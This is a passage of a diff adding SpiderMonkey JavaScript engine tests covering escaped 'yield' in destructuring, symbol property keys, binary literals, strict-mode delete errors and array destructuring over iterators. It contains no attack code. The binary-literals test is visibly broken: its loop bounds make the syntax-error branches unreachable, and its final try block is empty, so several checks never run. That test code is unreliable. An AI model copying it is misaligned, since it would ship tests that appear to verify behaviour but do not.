+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f({yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f({yi\u0065ld = 0} = {}) { }
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+(function() {
+ var a, yield;
+
+ ({a: yi\u0065ld} = {a: "yield-with-name"});
+ assertEq(yield, "yield-with-name");
+
+ ({yi\u0065ld} = {yield: "yield-with-shorthand"});
+ assertEq(yield, "yield-with-shorthand");
+
+ ({yi\u0065ld = 0} = {yield: "yield-with-coverinitname"});
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ ({a: yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ ({yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ ({yi\u0065ld = 0} = {});
+ }
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Destructuring/yield-with-escape-in-object-destr-generator.js b/js/src/tests/ecma_6/Destructuring/yield-with-escape-in-object-destr-generator.js
new file mode 100644
index 000000000..faa356391
--- /dev/null
+++ b/js/src/tests/ecma_6/Destructuring/yield-with-escape-in-object-destr-generator.js
@@ -0,0 +1,200 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ var {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ var {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ var {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ var {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ var {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ var {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ let {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ let {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ let {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ let {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ let {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ let {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ const {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ const {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ const {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ const {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ const {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ const {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns in parameters.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g({a: yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g({yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g({yi\u0065ld = 0} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g({a: yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g({yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g({yi\u0065ld = 0} = {}) { }
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ({a: yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ({yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ({yi\u0065ld = 0} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ({a: yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ({yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ({yi\u0065ld = 0} = {});
+ }
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Destructuring/yield-with-escape-in-object-destr-script.js b/js/src/tests/ecma_6/Destructuring/yield-with-escape-in-object-destr-script.js
new file mode 100644
index 000000000..65352a66c
--- /dev/null
+++ b/js/src/tests/ecma_6/Destructuring/yield-with-escape-in-object-destr-script.js
@@ -0,0 +1,123 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+var {a: yi\u0065ld} = {a: "yield-with-name"};
+assertEq(yield, "yield-with-name");
+
+var {yi\u0065ld} = {yield: "yield-with-shorthand"};
+assertEq(yield, "yield-with-shorthand");
+
+var {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+assertEq(yield, "yield-with-coverinitname");
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ var {a: yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ var {yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ var {yi\u0065ld = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+{
+ let {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+}
+
+{
+ let {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+}
+
+{
+ let {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+}
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ let {a: yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ let {yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ let {yi\u0065ld = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+{
+ const {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+}
+
+{
+ const {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+}
+
+{
+ const {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+}
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ const {a: yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ const {yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ const {yi\u0065ld = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+({a: yi\u0065ld} = {a: "yield-with-name"});
+assertEq(yield, "yield-with-name");
+
+({yi\u0065ld} = {yield: "yield-with-shorthand"});
+assertEq(yield, "yield-with-shorthand");
+
+({yi\u0065ld = 0} = {yield: "yield-with-coverinitname"});
+assertEq(yield, "yield-with-coverinitname");
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ({a: yi\u0065ld} = {});
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ({yi\u0065ld} = {});
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ({yi\u0065ld = 0} = {});
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Expressions/ToPropertyKey-symbols.js b/js/src/tests/ecma_6/Expressions/ToPropertyKey-symbols.js
new file mode 100644
index 000000000..32b3994b3
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/ToPropertyKey-symbols.js
@@ -0,0 +1,90 @@
+var symbols = [
+ Symbol(), Symbol("iterator"), Symbol.for("iterator"), Symbol.iterator
+];
+
+for (var sym of symbols) {
+ var key = {
+ toString() { return sym; }
+ };
+
+ // Test that ToPropertyKey can return a symbol in each of the following
+ // contexts.
+
+ // Computed property names.
+ var obj = {[key]: 13};
+ var found = Reflect.ownKeys(obj);
+ assertEq(found.length, 1);
+ assertEq(found[0], sym);
+
+ // Computed accessor property names.
+ var obj2 = {
+ get [key]() { return "got"; },
+ set [key](v) { this.v = v; }
+ };
+ assertEq(obj2[sym], "got");
+ obj2[sym] = 33;
+ assertEq(obj2.v, 33);
+
+ // Getting and setting properties.
+ assertEq(obj[key], 13);
+ obj[key] = 19;
+ assertEq(obj[sym], 19);
+ (function () { "use strict"; obj[key] = 20; })();
+ assertEq(obj[sym], 20);
+ obj[key]++;
+ assertEq(obj[sym], 21);
+
+ // Getting properties of primitive values.
+ Number.prototype[sym] = "success";
+ assertEq(Math.PI[key], "success");
+ delete Number.prototype[sym];
+
+ // Getting a super property.
+ class X {
+ [sym]() { return "X"; }
+ }
+ class Y extends X {
+ [sym]() { return super[key]() + "Y"; }
+ }
+ var y = new Y();
+ assertEq(y[sym](), "XY");
+
+ // Setting a super property.
+ class Z {
+ set [sym](v) {
+ this.self = this;
+ this.value = v;
+ }
+ }
+ class W extends Z {
+ set [sym](v) {
+ this.isW = true;
+ super[key] = v;
+ }
+ }
+ var w = new W();
+ w[key] = "ok";
+ assertEq(w.self, w);
+ assertEq(w.value, "ok");
+ assertEq(w.isW, true);
+
+ // Deleting properties.
+ obj = {[sym]: 1};
+ assertEq(delete obj[key], true);
+ assertEq(sym in obj, false);
+
+ // LHS of `in` expressions.
+ assertEq(key in {iterator: 0}, false);
+ assertEq(key in {[sym]: 0}, true);
+
+ // Methods of Object and Object.prototype
+ obj = {};
+ Object.defineProperty(obj, key, {value: "ok", enumerable: true});
+ assertEq(obj[sym], "ok");
+ assertEq(obj.hasOwnProperty(key), true);
+ assertEq(obj.propertyIsEnumerable(key), true);
+ var desc = Object.getOwnPropertyDescriptor(obj, key);
+ assertEq(desc.value, "ok");
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Expressions/binary-literals.js b/js/src/tests/ecma_6/Expressions/binary-literals.js
new file mode 100644
index 000000000..df1f2ed6f
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/binary-literals.js
@@ -0,0 +1,115 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 894026;
+var summary = "Implement ES6 binary literals";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var chars = ['b', 'B'];
+
+for (var i = 0; i < 2; i++)
+{
+ if (i === 2)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ for (var j = 0; j < 2; j++)
+ {
+ if (j === 2)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i + j);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + j + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ for (var k = 0; k < 2; k++)
+ {
+ if (k === 2)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i + j + k);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + j + k + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ chars.forEach(function(v)
+ {
+ assertEq(eval('0' + v + i + j + k), i * 4 + j * 2 + k);
+ });
+ }
+ }
+}
+
+chars.forEach(function(v)
+{
+ try
+ {
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + ", got " + e);
+ }
+});
+
+// Off-by-one check: '/' immediately precedes '0'.
+assertEq(0b110/1, 6);
+assertEq(0B10110/1, 22);
+
+function strict()
+{
+ "use strict";
+ return 0b11010101;
+}
+assertEq(strict(), 128 + 64 + 16 + 4 + 1);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Expressions/browser.js b/js/src/tests/ecma_6/Expressions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/browser.js
diff --git a/js/src/tests/ecma_6/Expressions/computed-property-side-effects.js b/js/src/tests/ecma_6/Expressions/computed-property-side-effects.js
new file mode 100644
index 000000000..54dec7416
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/computed-property-side-effects.js
@@ -0,0 +1,35 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1199695;
+var summary =
+ "Computed property names must be considered as always effectful even when " +
+ "the name expression isn't effectful, because calling ToPropertyKey on " +
+ "some non-effectful expressions has user-modifiable behavior";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+RegExp.prototype.toString = () => { throw 42; };
+assertThrowsValue(function() {
+ ({ [/regex/]: 0 }); // ToPropertyKey(/regex/) throws 42
+}, 42);
+
+function Q() {
+ ({ [new.target]: 0 }); // new.target will be Q, ToPropertyKey(Q) throws 17
+}
+Q.toString = () => { throw 17; };
+assertThrowsValue(function() {
+ new Q;
+}, 17);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Expressions/delete-constant-folded-and-or.js b/js/src/tests/ecma_6/Expressions/delete-constant-folded-and-or.js
new file mode 100644
index 000000000..9576413a6
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/delete-constant-folded-and-or.js
@@ -0,0 +1,41 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1183400;
+var summary =
+ "Deletion of a && or || expression that constant-folds to a name must not " +
+ "attempt to delete the name";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Object.defineProperty(this, "nonconfigurable", { value: 42 });
+assertEq(nonconfigurable, 42);
+
+assertEq(delete nonconfigurable, false);
+assertEq(delete (true && nonconfigurable), true);
+
+function nested()
+{
+ assertEq(delete nonconfigurable, false);
+ assertEq(delete (true && nonconfigurable), true);
+}
+nested();
+
+function nestedStrict()
+{
+ "use strict";
+ assertEq(delete (true && nonconfigurable), true);
+}
+nestedStrict();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Expressions/delete-name-parenthesized-early-error-strict-mode.js b/js/src/tests/ecma_6/Expressions/delete-name-parenthesized-early-error-strict-mode.js
new file mode 100644
index 000000000..d28afb665
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/delete-name-parenthesized-early-error-strict-mode.js
@@ -0,0 +1,76 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1111101;
+var summary =
+ "delete (foo), delete ((foo)), and so on are strict mode early errors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function checkSyntaxError(code)
+{
+ function helper(maker)
+ {
+ var earlyError = false;
+ try
+ {
+ var f = maker(code);
+
+ var error = "no early error, created a function with code <" + code + ">";
+ try
+ {
+ f();
+ error += ", and the function can be called without error";
+ }
+ catch (e)
+ {
+ error +=", and calling the function throws " + e;
+ }
+
+ throw new Error(error);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error, got " + e);
+ }
+ }
+
+ helper(Function);
+ helper(eval);
+}
+
+checkSyntaxError("function f() { 'use strict'; delete escape; } f();");
+checkSyntaxError("function f() { 'use strict'; delete escape; }");
+checkSyntaxError("function f() { 'use strict'; delete (escape); } f();");
+checkSyntaxError("function f() { 'use strict'; delete (escape); }");
+checkSyntaxError("function f() { 'use strict'; delete ((escape)); } f();");
+checkSyntaxError("function f() { 'use strict'; delete ((escape)); }");
+
+// Meanwhile, non-strict all of these should work
+
+function checkFine(code)
+{
+ Function(code);
+ (1, eval)(code); // indirect, to be consistent w/above
+}
+
+checkFine("function f() { delete escape; } f();");
+checkFine("function f() { delete escape; }");
+checkFine("function f() { delete (escape); } f();");
+checkFine("function f() { delete (escape); }");
+checkFine("function f() { delete ((escape)); } f();");
+checkFine("function f() { delete ((escape)); }");
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Expressions/destructuring-array-default-call.js b/js/src/tests/ecma_6/Expressions/destructuring-array-default-call.js
new file mode 100644
index 000000000..a3a362205
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/destructuring-array-default-call.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - call/new expression";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault("func()");
+testDestructuringArrayDefault("new func()");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Expressions/destructuring-array-default-class.js b/js/src/tests/ecma_6/Expressions/destructuring-array-default-class.js
new file mode 100644
index 000000000..808308928
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/destructuring-array-default-class.js
@@ -0,0 +1,72 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - class expression and super/new.target";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault(`class E {
+ constructor() {}
+ method() {}
+ get v() {}
+ set v(_) {}
+ static method() {}
+ static get v() {}
+ static set v(_) {}
+}`);
+
+testDestructuringArrayDefault(`class E extends C {
+ constructor() {}
+ method() {}
+ get v() {}
+ set v(_) {}
+ static method() {}
+ static get v() {}
+ static set v(_) {}
+}`);
+
+var opt = {
+ no_plain: true,
+ no_func: true,
+ no_func_arg: true,
+ no_gen: true,
+ no_gen_arg: true,
+ no_ctor: true,
+ no_method: true,
+ no_pre_super: true,
+ no_comp: true,
+
+ no_derived_ctor: false,
+};
+testDestructuringArrayDefault("super()", opt);
+
+opt = {
+ no_plain: true,
+ no_func: true,
+ no_func_arg: true,
+ no_gen: true,
+ no_gen_arg: true,
+ no_ctor: true,
+ no_comp: true,
+
+ no_derived_ctor: false,
+ no_method: false,
+ no_pre_super: false,
+};
+testDestructuringArrayDefault("super.foo()", opt);
+
+opt = {
+ no_plain: true,
+
+ no_func: false,
+ no_func_arg: false,
+ no_gen: false,
+ no_gen_arg: false,
+ no_ctor: false,
+ no_derived_ctor: false,
+ no_method: false,
+ no_pre_super: false,
+ no_comp: false,
+};
+testDestructuringArrayDefault("new.target", opt);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Expressions/destructuring-array-default-function-nested.js b/js/src/tests/ecma_6/Expressions/destructuring-array-default-function-nested.js
new file mode 100644
index 000000000..99260b989
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/destructuring-array-default-function-nested.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - function expression with nested objects";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault("function f() { return { f() {}, *g() {}, r: /a/ }; }");
+testDestructuringArrayDefault("function* g() { return { f() {}, *g() {}, r: /b/ }; }");
+testDestructuringArrayDefault("() => { return { f() {}, *g() {}, r: /c/ }; }");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Expressions/destructuring-array-default-function.js b/js/src/tests/ecma_6/Expressions/destructuring-array-default-function.js
new file mode 100644
index 000000000..5d2ffef18
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/destructuring-array-default-function.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - function expression";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault("function f() {}");
+testDestructuringArrayDefault("function* g() {}");
+testDestructuringArrayDefault("() => {}");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Expressions/destructuring-array-default-simple.js b/js/src/tests/ecma_6/Expressions/destructuring-array-default-simple.js
new file mode 100644
index 000000000..50c6c37f3
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/destructuring-array-default-simple.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - simple literal";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault("'foo'");
+testDestructuringArrayDefault("`foo`");
+testDestructuringArrayDefault("func`foo`");
+
+testDestructuringArrayDefault("/foo/");
+
+testDestructuringArrayDefault("{}");
+testDestructuringArrayDefault("[]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Expressions/destructuring-array-default-yield.js b/js/src/tests/ecma_6/Expressions/destructuring-array-default-yield.js
new file mode 100644
index 000000000..57ff9e947
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/destructuring-array-default-yield.js
@@ -0,0 +1,22 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - yield expression";
+
+print(BUGNUMBER + ": " + summary);
+
+var opt = {
+ no_plain: true,
+ no_func: true,
+ no_func_arg: true,
+ no_gen_arg: true,
+ no_ctor: true,
+ no_derived_ctor: true,
+ no_method: true,
+ no_pre_super: true,
+ no_comp: true,
+
+ no_gen: false,
+};
+testDestructuringArrayDefault("yield 1", opt);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Expressions/destructuring-array-done.js b/js/src/tests/ecma_6/Expressions/destructuring-array-done.js
new file mode 100644
index 000000000..f2c7e9410
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/destructuring-array-done.js
@@ -0,0 +1,319 @@
+var BUGNUMBER = 1184922;
+var summary = "iterator.next() should not be called when after iterator completes";
+
+print(BUGNUMBER + ": " + summary);
+
+var log;
+function reset() {
+ log = "";
+}
+var obj = new Proxy({}, {
+ set(that, name, value) {
+ var v;
+ if (value instanceof Function || value instanceof RegExp)
+ v = value.toString();
+ else
+ v = JSON.stringify(value);
+ log += "set:" + name + "=" + v + ",";
+ }
+});
+function createIterable(n) {
+ return {
+ i: 0,
+ [Symbol.iterator]() {
+ return this;
+ },
+ next() {
+ log += "next,";
+ this.i++;
+ if (this.i <= n)
+ return {value: this.i, done: false};
+ return {value: 0, done: true};
+ }
+ };
+}
+
+// Simple pattern.
+
+reset();
+[obj.a, obj.b, obj.c] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, obj.b, obj.c] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, obj.b, obj.c] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, obj.b, obj.c] = createIterable(3);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "set:c=3,");
+
+// Elision.
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(3);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(4);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "next," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(5);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "next," +
+ "next," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(6);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "next," +
+ "next," +
+ "set:c=6," +
+ "next,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(7);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "next," +
+ "next," +
+ "set:c=6," +
+ "next,");
+
+// Rest.
+
+reset();
+[...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:r=[],");
+
+reset();
+[...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "next," +
+ "set:r=[1],");
+
+reset();
+[obj.a, ...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, ...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[obj.a, ...obj.r] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:r=[2],");
+
+reset();
+[obj.a, obj.b, ...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:b=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, ...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, ...obj.r] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, ...obj.r] = createIterable(3);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "next," +
+ "set:r=[3],");
+
+// Rest and elision.
+
+reset();
+[, ...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:r=[],");
+
+reset();
+[, ...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "next," +
+ "set:r=[],");
+
+reset();
